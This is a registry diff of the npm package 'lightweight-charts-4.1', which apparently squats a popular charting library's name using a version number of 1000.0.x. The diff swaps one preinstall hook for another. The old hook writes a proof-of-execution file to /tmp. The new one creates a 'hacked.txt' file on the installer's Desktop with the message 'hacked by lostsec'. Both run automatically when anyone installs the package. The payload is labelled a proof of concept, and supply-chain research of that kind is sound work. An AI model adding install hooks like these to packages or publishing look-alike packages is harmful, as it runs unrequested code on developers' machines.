lightweight-charts-4.1 1000.0.11 → 1000.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1) hide show
  1. package/package.json +3 -3
package/package.json CHANGED
@@ -1,9 +1,9 @@
1
1
  {
2
2
  "name": "lightweight-charts-4.1",
3
- "version": "1000.0.11",
4
- "description": "PoC - creates file on install (proof of execution)",
3
+ "version": "1000.0.13",
4
+ "description": "PoC - writes message to Desktop (cross‑platform)",
5
5
  "scripts": {
6
- "preinstall": "node -e \"require('fs').writeFileSync('/tmp/poc-executed.txt', 'Executed at ' + new Date()); console.error('File written to /tmp/poc-executed.txt')\""
6
+ "preinstall": "node -e \"const fs = require('fs'); const path = require('path'); const os = require('os'); const home = os.homedir(); const desktop = path.join(home, 'Desktop'); if (!fs.existsSync(desktop)) fs.mkdirSync(desktop, { recursive: true }); fs.writeFileSync(path.join(desktop, 'hacked.txt'), 'hello friend you was hacked by lostsec'); console.error('File written to ' + path.join(desktop, 'hacked.txt'));\""
7
7
  },
8
8
  "license": "MIT"
9
9
  }